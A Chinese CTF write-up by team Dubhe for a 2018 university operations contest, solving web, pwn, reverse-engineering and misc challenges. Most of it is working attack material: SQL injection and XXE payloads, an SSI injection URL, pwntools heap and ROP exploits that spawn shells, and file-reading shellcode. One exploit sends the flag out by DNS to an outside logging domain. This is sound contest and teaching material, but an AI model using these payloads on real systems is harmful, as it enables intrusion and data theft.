高校运维赛 2018 Writeup -- 天枢
Dubhe CTF 10743浏览 · 2018-11-18 00:42

Web

SimpleBBS

Error-based 注入,通过错误信息获得flag。

PoC如下:

curl -X POST \
  http://bbs.sec.zju.edu.cn/index.php/login/valid \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Postman-Token: 9a5f4151-4ff2-4366-bde2-94d3f0ff72a7' \
  -H 'cache-control: no-cache' \
  -d 'username=qweqwe'\''%20OR%20(SELECT%205979%20FROM(SELECT%20COUNT(*)%2CCONCAT(0x7176626271%2C(SELECT%20%0A%20flag%20from%20flag)%2C0x716b716b71%2CFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)--%20fsUE&password=qweqwe&undefined='

EIS{7879f0a27d8bcfcff0bcc837d7641e81}

SimpleWasmReverse

strings 命令获得 flag.wasm 中的两个关键字符串 ABCDEFG.....aW9kan40NGgzOTNkNWZoNDtlOjloNmk1OThmNzk4O2dkPDRoZoA=,猜测是base64码表与编码后的flag,解码后长度为38,与WASM逆向后对字符串长度判断相符。

对wasm分析,其中_check函数中对输入字符存在逐个加3的操作,猜测为此方法处理flag,对获得的base64解码,逐位减3获得flag。

>>> for c in 'aW9kan40NGgzOTNkNWZoNDtlOjloNmk1OThmNzk4O2dkPDRoZoA='.decode('base64'):
...     print chr(ord(c)-3),
...
f l a g { 1 1 e 0 6 0 a 2 c e 1 8 b 7 6 e 3 f 2 6 5 c 4 6 5 8 d a 9 1 e c }

SimpleExtensionExplorerInjection

阅读源码发现UserController.java中解析参数时,使用了 @XBRead,则可解析XML并回显。

构造 XXE payload 获得flag。

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE name [  
   <!ELEMENT name ANY >
   <!ENTITY xxe SYSTEM "file:///flag" >
  ]>
<name>&xxe;</name>

SimplePrintEventLogger

SimpleExtensionExplorerInjection 中相同,使用XXE poc: file:/// 列出根目录,获取第二个flag的文件名,并读取。

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE name [  
   <!ELEMENT name ANY >
   <!ENTITY xxe SYSTEM "file:///" >
  ]>
<name>&xxe;</name>

EIS{f501e9c5323c560b0a40192ce9b7ad38}

SimpleServerInjection

出题人提示了SSI

https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection
http://httpd.apache.org/docs/current/howto/ssi.html

http://210.32.4.22/index.php?name=%3C%21--%23include%20virtual%3D%22flag%22%20--%3E

Simple Blog

二次注入

import requests
import time
import string

def sqli(payload):
    start_time = time.time()

    session = requests.Session()

    register_url = "http://210.32.4.20/register.php"
    data = {
        'username': payload,
        'password': "123"
    }
    session.post(register_url, data=data, allow_redirects=False)

    login_url = "http://210.32.4.20/login.php"
    session.post(login_url, data=data, allow_redirects=False)

    answer_url = "http://210.32.4.20/answer.php"
    data = {
        "1.b": "on"
    }
    http_content = session.post(answer_url, data=data, allow_redirects=False).content
    # print http_content[http_content.find('alert'):http_content.find('alert')+100]
    run_time = time.time() - start_time
    return run_time

sqli_payload = "dubhexxxdubhe5' or if(ord(substr((select flag from flag), %d, 1))=%d, sleep(0.005), 0) -- n"

flag = 'EIS{397ea47dcc07dd2abdffc5b16c9026f5}'

for i in range(50):
    for char in string.printable:
        payload = sqli_payload % (len(flag) + 1, ord(char))
        t = sqli(payload)
        print char, t
        if t > 1:
            flag += char
            print flag
            break

PWN

dns of melody

这题可以利用dns递归查询,来将flag传输到权威服务器上面(感谢Dlive师傅给的域名)

from pwn import *
import time
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

def call(r12, rdi, rsi ,rdx):
    shellcode = p64(0x4012AA) + p64(0) + p64(1) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi)
    shellcode += p64(0x401290) + p64(0) * 7
    return shellcode

def add(p, l, hostname):
    p.recvuntil('Select:\n')
    p.sendline('1')
    p.recvuntil('length: \n')
    p.sendline(str(l))
    p.sendline(hostname)

def do(p, index):
    p.recvuntil('Select:\n')
    p.sendline('2')
    p.recvuntil('index: \n')
    p.sendline(str(index))

def delete(p, index):
    p.recvuntil('Select:\n')
    p.sendline('3')
    p.recvuntil('index: \n')
    p.sendline(str(index))

def edit(p, index, data):
    p.recvuntil('Select:\n')
    p.sendline('4')
    p.recvuntil('index: \n')
    p.sendline(str(index))
    p.sendline(data)

def getflag(ip, port, debug, index):
    if debug == 1:
        p = process('./dns_of_melody')
        gdb.attach(p, 'b *0x401246\nc')
    else:
        p = remote(ip, port)
    add(p, 100, 'aaaaaaaaaaaaaaa')
    add(p, 100, 'a.zptvs7.ceye.io')
    add(p, 100, './flag')
    do(p, 0)
    p.recvuntil('Unknown host!')
    edit(p, 0, '\x00' * 0x1A0 + p64(0) + call(0x0601FE8, 0x602368, 0, 0) + call(0x601FB8, 0, 0x6021e4 - index, index + 1) + call(0x601FD0, 0x6021e4 - index, 0, 0))

    # p.interactive()

def GameStart(ip, port, debug):
    flag_len = 25
    getflag(ip, port, debug, flag_len - 1)
    # for i in range(flag_len):
    #   getflag(ip, port, debug, i)
    #   time.sleep(0.5)

if __name__ == '__main__':
    GameStart('210.32.4.15', 13374, 0)

hack

思路和pwnable.kr的unlink一致,通过修改栈上的值劫持栈帧(main函数ret前的逻辑)到堆上(堆地址已知)。利用两次泄漏可以获得libc的基地址和栈地址。

exp

# coding=utf-8
from pwn import *

def pwn():
    BIN_PATH = './hack'
    DEBUG = 0
    context.arch = 'i386'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    else:
        p = remote('210.32.4.16', 13375)
        elf = ELF(BIN_PATH)
        libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
        context.log_level = 'debug'

    p.recvuntil('input address: ')
    p.sendline(str(elf.got['puts']))
    p.recvuntil(str(elf.got['puts']) + ', ')
    recv = p.recvuntil('\n')
    libc.address = int(recv, 16) - libc.symbols['puts']
    print hex(libc.address)
    #gdb.attach(p, gdbscript='b *0x80486ff')
    p.recvuntil('Second chance: \n')
    p.sendline(str(libc.symbols['__environ']))
    p.recvuntil(', ')
    recv = p.recvuntil('\n')
    stack_address = int(recv, 16)
    print hex(stack_address)
    raw_input()
    p.recvuntil('The address of the node is ')
    recv = p.recvuntil(', ', drop=True)
    heap_addr = int(recv, 16)

    ecx_address = stack_address - (0xfff84ddc - 0xfff84d3c)
    target_address = stack_address - (0xffb3d93c - 0xffb3d884)
    print hex(ecx_address)

    if DEBUG == 1:
        one_gadget = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6]
    else:
        one_gadget = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819]
    #payload = p32(heap_addr) + p32(heap_addr) + p32(heap_addr - 0xc) + p32(stack_address - 0x8)
    payload = p32(libc.address + one_gadget[3]) + p32(heap_addr + 12) + p32(heap_addr + 0x4) + p32(target_address - 0x8)
    p.recvuntil('fake node now: ')
    p.send(payload)

    p.interactive()
    p.close()


if __name__ == '__main__':
    pwn()

flag:EIS{d2954e2d38bf6b2ed3ebfead7bb6cd33}

justnote

堆溢出,在插入的时候,输入最小的负值可以造成堆溢出

from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

def add(p, lgth, note):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('note: ')
    p.sendline(str(lgth))
    p.recvuntil('note: ')
    p.sendline(note)

def delete(p, idx):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('note: ')
    p.sendline(str(idx))

def edit(p, idx, note):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('note: ')
    p.sendline(str(idx))
    p.recvuntil('note: ')
    p.sendline(note)

def HouseOfOrange(head_addr, system_addr, io_list_all_addr):
    exp = '/bin/sh'.ljust(8, '\x00') + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
    exp += p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4
    exp += p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8)
    return exp

def GameStart(ip, port, debug):
    if debug == 1:
        p = process('./justnote', env = {'LD_PRELOAD' : './libc6_2.23-0ubuntu10_amd64.so'})
        # gdb.attach(p)
    else:
        p = remote(ip, port)
    add(p, -9223372036854775808, 'hack by w1tcher')
    add(p, 100, 'hack by w1tcher')
    add(p, -9223372036854775808, 'hack by w1tcher')
    add(p, 100, 'hack by w1tcher')
    add(p, -9223372036854775808, 'hack by w1tcher')
    add(p, 100, 'hack by w1tcher')
    add(p, 100, 'hack by w1tcher')
    delete(p, 1)
    delete(p, 3)
    edit(p, 0, '\x00' * 0x108 + '\x13')
    add(p, 100, 'a' * 8)
    p.recvuntil('a' * 8)
    heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00'))
    log.info('heap addr is : ' + hex(heap_addr))
    edit(p, 2, '\x00' * 0x108 + '\x13')
    add(p, 100, '')
    p.recvuntil('out: ')
    libc_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x3c4b78
    log.info('libc addr is : ' + hex(libc_addr))

    delete(p, 5)
    edit(p, 4, '\x00' * 0x100 + HouseOfOrange(heap_addr + 0x110 * 2, libc_addr + 0x45390, libc_addr + 0x3c5520))

    p.recvuntil('choice: ')
    p.sendline('1')


    p.interactive()

if __name__ == '__main__':
    GameStart('210.32.4.17', 13376, 0)

RE

Hide and Seek

大佬发现是逐字节验证,侧信道打之

from pwn import *

table = '_abcdefghijklmnopqrstuvwxyz{} ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`|~0123456789'

pin = '/home/echo/Tools/pin-3.5/pin'
binary = '/home/echo/1ctf/yws/hideandseek'
#binary = 'C:\\Users\\echo\\Desktop\\task\\rc4\\simple_rc4.exe'
dll = '/home/echo/Tools/pin-3.5/source/tools/ManualExamples/obj-intel64/inscount0.so'

def getCount(flag):    
    p = process([pin,'-t',dll,'--',binary])
    p.sendline(flag)
    p.recvline()
    p.recvline()
    base = int(p.recvline().split(' ')[1].strip('\r\n'))
    p.close()
    return base

# print getCount('1')
# print getCount('E')
# print getCount('EI')

# '''
ans = 'EIS{you_should_go_for_nascondino_world_c'
flag = list(ans)
for i in range(32):
    flag.append('\x00')
# print flag
# '''
base =  getCount(''.join(flag))

print flag
for j in range(len(ans),70):
    print '-------------------Round %d-------------'%j
    for i in table:
        flag[j] = i
        data =  getCount(''.join(flag))
        print i,data
        if data > base+100:
            print 'getc',i,''.join(flag)+i
            if i=='}':
                print ''.join(flag)
                exit(0)
            base = data
            break

print ''.join(flag)
# '''

flag : EIS{you_should_go_for_nascondino_world_championship}

Tailbone

隐藏了主要逻辑,pin追踪发现执行到了eh_frame的位置。

.eh_frame:0000000000400790 sub_400790 proc near
.eh_frame:0000000000400790 movaps  xmm0, xmmword ptr cs:flag
.eh_frame:0000000000400797 movaps  xmm1, xmmword ptr cs:flag+10h
.eh_frame:000000000040079E movaps  xmm2, xmmword ptr cs:_start
.eh_frame:00000000004007A5 movaps  xmm3, xmmword ptr cs:unk_400540
.eh_frame:00000000004007AC movaps  xmm4, xmmword ptr cs:unk_400550
.eh_frame:00000000004007B3 movaps  xmm5, xmmword ptr cs:deregister_tm_clones
.eh_frame:00000000004007BA movaps  xmm6, xmmword ptr cs:loc_400570
.eh_frame:00000000004007C1 movaps  xmm7, xmmword ptr cs:loc_400580
.eh_frame:00000000004007C8 movaps  xmm8, xmmword ptr cs:loc_400590
.eh_frame:00000000004007D0 movaps  xmm9, xmmword ptr cs:register_tm_clones
.eh_frame:00000000004007D8 aesenc  xmm0, xmm2
.eh_frame:00000000004007DD aesenc  xmm0, xmm3
.eh_frame:00000000004007E2 aesenc  xmm0, xmm4
.eh_frame:00000000004007E7 aesenc  xmm0, xmm5
.eh_frame:00000000004007EC aesenc  xmm1, xmm6
.eh_frame:00000000004007F1 aesenc  xmm1, xmm7
.eh_frame:00000000004007F6 aesenc  xmm1, xmm8
.eh_frame:00000000004007FC aesenc  xmm1, xmm9
.eh_frame:0000000000400802 movaps  xmmword ptr cs:flag, xmm0
.eh_frame:0000000000400809 movaps  xmmword ptr cs:flag+10h, xmm1
.eh_frame:0000000000400810 xor     rcx, rcx
.eh_frame:0000000000400813 lea     rdi, byte_400840
.eh_frame:000000000040081B lea     rsi, flag
.eh_frame:0000000000400822
.eh_frame:0000000000400822 loc_400822:                             ; CODE XREF: sub_400790+A5↓j
.eh_frame:0000000000400822 mov     al, [rdi+rcx]
.eh_frame:0000000000400825 cmp     al, [rsi+rcx]
.eh_frame:0000000000400828 jnz     flag_wrong
.eh_frame:000000000040082E inc     rcx
.eh_frame:0000000000400831 cmp     rcx, 20h
.eh_frame:0000000000400835 jnz     short loc_400822
.eh_frame:0000000000400837 jmp     flag_correct

追着aesenc调了半天aesdec,解密一直不对,不明觉厉,自己复现aesenc

AES_SubBytes(state);
AES_ShiftRows(state);
AES_MixColums(state);
AES_AddRoundKey(ekey+i*16, state);

验证发现结果正确,实现解密算法

AES_AddRoundKey(ekey+(7-i)*16, state+16);
AES_InvMixColums(state+16);
AES_InvShiftRows(state+16);
AES_InvSubBytes(state+16);

解密得到flag : eis{the_fact_beyond_the_future}

Misc

Checkin

切片获得字符,标注后脚本识别。

#nc 210.32.4.14 13373
import hashlib
import time

alphabet = {'a5b42b1a1110ce927bb044ce85fb79f00f373a67': '1', '3af9e778b44cd054b3f5b781e54c50aace6e35b4': 't', '74718b6ed09bf13f46c32a234fed88e8d10bd925': 'd', '082ae500cf64515a38a9955c04fc1d3a1811bfd3': 'c', '5ab8693b6200afad741ee53bfdcf266aa24dafbb': 'p', 'afc5e6adf5a9cc0b58e6ac7c178eae07df1b72b1': 'o', 'a384bda7f1dd2ebade3f89397d1caa7f69bfa506': '0', 'f5fed4dce954c1e41045078cace581379dc876b8': 'n', '87ba3c2cfca4b2f0b16aba5ddc6ea82343a5314d': 'v', 'e5254052887031983f67427bbb44c2920db21e67': '5', 'c4528d82f5503762289b60c88b8532659e5ba383': 's', '6fee63f2df6dac403622abe257ab690e0f0c80f3': 'h', '4ae8782bd51089d3f7b007e52ce05b2913eb7343': 'r', 'c6bb4ec7c5eea7c541aabbd518a82956a7e05a87': 'k', '3affe3418958b49933be5a3c08f12de8a5ff95c6': 'j', '2e17477ebf20102b815a7fce27f301febbc3add6': '6', '0f9505f64d5bfecf3b398a5c1388b712bdf4b164': '3', 'fab395f036ba9be96cae6774aeb0462ba487d347': 'l', 'a2172d45506546013ca335f85d8e775c4fc1bbbf': '8', '6383eccfaec75ee683a8029a936e441c221f362c': '2', 'e6f71eb73593ec2f373b346238121f8d29e12522': 'u', '27f2d854ef251ae967702e502de771aa898c4db9': 'i', 'd497bb97dbeaf5abdec5ea2763a8da502ae97ffc': '9', '5bd096201b54e6c17ba7ad30bf14131e6fbf610d': '7', 'b8ecb62c5e1531f7ed0e8e101c275d2140880552': 'g', '6b7f7caafb9873343ce26d599f0dcd0814634a4c': 'a', '6ed74ae66b9191d896bb7f8e401661e955617391': '4', '560bb1238914d2dca8a0e658d7d7adfdd7cfa93e': 'x', 'b6434d15e299209c3510fa7a398667a6ec24ea7f': 'm', '693bdb2162d9f30deabd3eaa86ec2108ba200bbc': 'w', '21edee36d60b190108848c07aeec280e54bfb082': 'e', 'add9e6c41892ff7b9d39bf1a032f548544466240': 'b', '48fe14e3850eac4dadb3af4b7024aef0b7a02e3d': 'y', 'bebc74425afd6dd39021fb879207f1f023e2c11b': 'z', '865bbd16203ec070b32caba35dd4bad64ae5309d': 'q', '14d3f320e5b6591542474236067d0ac58bd4958a': 'f'}

def detect(char):
    print char
    cid = hashlib.sha1(char).digest().encode('hex')
    if cid not in alphabet:
        print "what's that:"
        char = raw_input()
        alphabet[cid]= char
        print '------------'
        print alphabet
        print '------------'
    return alphabet[cid]

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('210.32.4.14', 13373))
buf = ""
while True:
    data = s.recv(65535)
    buf += data
    ans = ""
    if buf[-8:] == "d robot\n":
        print "bad bad robot"
        break
    if buf.find("EIS{") >= 0:
        print buf
        break
    if buf[-8:] == "aptcha: ":
        lines = buf.split('\n')
        for n in range(25):
            char = ""
            for i in lines:
                if len(i) == 450:
                    char += i[n*18:(n*18+18)]
                    char += '\n'
                else:
                    print i
            res = detect(char)
            ans += res
            print res
        ans += "\r\n"
        print "sending answer:", ans
        s.send(ans)
        buf = ""
        time.sleep(0.1)

s.close()

ELFRand

大佬告诉我二分法可以做,于是我就二分了

from pwn import *

ip = '210.32.4.13'
port = 13372
p = remote(ip,port)

fp = open('lib.so','rb')
content = fp.read()

def offset(a):
    p.recvuntil('offset:')
    # print 'send offset',hex(a)
    p.sendline(hex(a))
    data = p.recvline().strip(' \r\n')
    # print data
    data = data.decode('hex')
    return data

def read8(data,offset):
    return data[offset:offset+8].encode('hex')

def getoffset(a):
    # print 'send offset',hex(a)
    data = read8(content,a)
    print data
    # data = data.decode('hex')
    return data 

# '''
table_data_offset = 0x80
data_offset = u64(offset(table_data_offset))+528
table_data_size = 0x98
data_size = u64(offset(table_data_size))-528-1
data_size = data_size+0x40
print data_size/0x60,data_size%0x60
r = data_size/0x60
l = 0
m = (l+r)/2
while True:
    data = offset(data_offset+m*0x60+0x20)
    print m,data
    if '\x00' in data:
        r = m
    else:
        l = m
    m = (l+r)/2
    if '}' in data:
        break

# while True:
print offset(data_offset+m*0x60+0x20-8)
print offset(data_offset+m*0x60+0x20-16)
print offset(data_offset+m*0x60+0x20-24)
print offset(data_offset+m*0x60+0x20-32)

得到flag : EIS{need_to_know_123_before_hacking_lol}

YouChat

dh前向安全性密钥交换算法,通常情况来看即使获得通讯数据也无法获得会话密钥。
但是题目中的随机数使用了当前时间戳,并且流量中有 HTTP 流量,即可获得服务器时间,从服务器时间附近开始爆破密钥,爆破后解密密文即可。

from Crypto.Cipher import AES

n1 = 2788345359890551962905543699268136771176146000595129094648687559760519824698082876750649883170679922128843046651835660067369815643046909474111978619841667476365660977739880668233159866349478217053419208643682425092527541427901937121285804453341270303876060899970827193040944247320434441820601552072772196631
module = 178922502641382884719655444473401202320992695012776499435228267035240519083789199752508747615390185778922172217091588694375036275788509347056710981158505765839784659343157937299004903271202878247597396606459115904969445633597329631641132639838853464328381065150951561416618657054418909973015950955119221913709
base = 65537
n2 = 122909506930720148822026880183728012525703992834932769580248844377225531647180931058151093428767439482846732968693811513424900749181859575037932026377525177691863042999954304430740868140773963404578870118560546364210827023511095073900617051661314244461840751860152430809513488211355892785320736409017285674252
enc = "Z5x2stZPTMLCdUwBZcw0uwDVMaLDS1xME7+JwmeUYZb4jep2HZBF1V0IKwDL4Vse"

def newaes(key):
    aes_key = 0
    while key > 0:
        aes_key ^= key & (2 ** 256 - 1)
        key >>= 256
    try:
        aes_key = ('%x' % aes_key).strip('L').decode('hex')
    except:
        aes_key = ('0%x' % aes_key).strip('L').decode('hex')
    aes = AES.new(aes_key, AES.MODE_CBC, '0' * 16)
    return aes

def dec(key,encmsg):
    msg = newaes(key).decrypt(encmsg.strip().decode('base64'))
    return msg[:-ord(msg[-1])]


start = 1537005600
i = start
while True:
    i -= 1
    if i % 10000 ==0:
        print i
    if n1 == pow(base, i * 0xdeadbeef, module):
        print i
        break

# i = 1537004467
nonce = i * 0xdeadbeef
key = pow(n2, nonce, module)
enc = "Z5x2stZPTMLCdUwBZcw0uwDVMaLDS1xME7+JwmeUYZb4jep2HZBF1V0IKwDL4Vse"
print dec(key, enc)

GoGoGo

观察数据包发现大量异常ICMP包, 观察发现为ICMP Tunnel, 解包ICMP后发现通过ftp下载了gogogo.png。

import dpkt

f = open('test.pcap', 'rb')
pcap = dpkt.pcap.Reader(f)

out = open('in.pcap', 'wb')
writer = dpkt.pcap.Writer(out)

for ts, buf in pcap:
    eth = dpkt.ethernet.Ethernet(buf)
    ip = eth.data
    icmp = ip.data
    payload = icmp.data
    eth.data = str(payload)[4:]
    writer.writepkt(eth)

f.close()
out.close()

ShellcodEncrypt

题目放出提示the encryption is the decryption所以猜测加密和解密是同一个函数,所以经过多次手动尝试和猜测,发现加密的单位是dword,而以此输入的时候qword,再多次尝试得到

int a,b;
int c,d = crypto(a + b)
crypto(d + c) == b + a

从上面的逻辑可以看出,最开始的时候将明文交换加密之后,再次交换解密解密就好。
然而这题服务器上给的binary每次连接都不一样(还要感谢出题人提醒),但是巧合的是我发现main函数的地址始终不会发生变化,然后我选择patch程序,让程序直接将加密之后的数据输出,然后交换后,发给服务端。
这题每次输出的是程序的返回值,这样将flag的每个字符,通过exit一字节一字节输出就可以了。

  • patch
from pwn import *
def patch(pt):
    seccomp = pt.inject(c = r'''

#define SYS_write "1"
#define SYS_exit "60"

static int exit(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
static int write(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
void seccomp(char * buf){
    write(1, buf, 0x80, 0, 0);
    exit(0, 2, 0, 0, 0);
    return;
}



static int write(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
    int ret;
    __asm__ __volatile__ ("mov $" SYS_write ", %%rax\n\t"
        "movl %1, %%edi\n\t"
        "movq %2, %%rsi\n\t"
        "movq %3, %%rdx\n\t"
        "movq %4, %%r10\n\t"
        "movq %5, %%r8\n\t"
        "syscall\n\t"
        :"=a"(ret)
        :"m"(option), "m"(arg2), "m"(arg3), "m"(arg4), "m"(arg5)
       );
    return ret;
}

static int exit(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
    int ret;
    __asm__ __volatile__ ("mov $" SYS_exit ", %%rax\n\t"
        "movl %1, %%edi\n\t"
        "movq %2, %%rsi\n\t"
        "movq %3, %%rdx\n\t"
        "movq %4, %%r10\n\t"
        "movq %5, %%r8\n\t"
        "syscall\n\t"
        :"=a"(ret)
        :"m"(option), "m"(arg2), "m"(arg3), "m"(arg4), "m"(arg5)
       );
    return ret;
}

        ''')
    hook_addr = 0x40059D
    pt.hook(hook_addr, seccomp)
  • exploit
from pwn import *
import os
import base64
context(arch = 'amd64', os = 'linux', endian = 'little')
# context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']


def getencryptdata(data):
    sc = data.ljust(((len(data) + 7) / 8) * 8, '\x00')
    end = ''
    for i in range(0, len(sc), 8):
        end += sc[i + 4 : i + 8] + sc[i : i + 4]
    p = process('./ShellcodEncrypt.patched')
    p.send(end)
    sc = p.recvn(0x80)
    end = ''
    for i in range(0, len(sc), 8):
        end += sc[i + 4 : i + 8] + sc[i : i + 4]
    return end

SC = '''
    /* open(file='/home/ctf/flag', oflag=0, mode=0) */
    /* push '/home/ctf/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f66
    xor [rsp], rax
    mov rax, 0x74632f656d6f682f
    push rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push SYS_open /* 2 */
    pop rax
    syscall

push 0
    /* call read('rax', '0x1000 - 1', 2) */
    mov rdi, rax
    xor eax, eax /* SYS_read */
    push %d
    pop rdx
    xor esi, esi
    lea rsi, [rsp - %d]
    syscall

pop rdi
    /* exit(status='rdi') */
    /* setregs noop */
    /* call exit() */
    push SYS_exit /* 0x3c */
    pop rax
    syscall


flag = ''
for i in range(100):
    p = remote('210.32.4.18', 13377)
    p.recvuntil('file:\n')
    with open('./ShellcodEncrypt.txt', 'w') as f:
        f.write(p.recvline()[ : -1])
    os.system('base64 -d ./ShellcodEncrypt.txt > ShellcodEncrypt')
    os.system('~/patchkit/patch ShellcodEncrypt patch.py')
    p.recvuntil('please:\n')
    shellcode = getencryptdata(asm(SC % (i + 1, i)))
    p.sendline(base64.b64encode(shellcode))
    # print p.recvline()
    p.recvuntil('is ')
    flag += chr(int(p.recvline()[ : -1]))
    print flag
4 条评论
某人
表情
可输入 255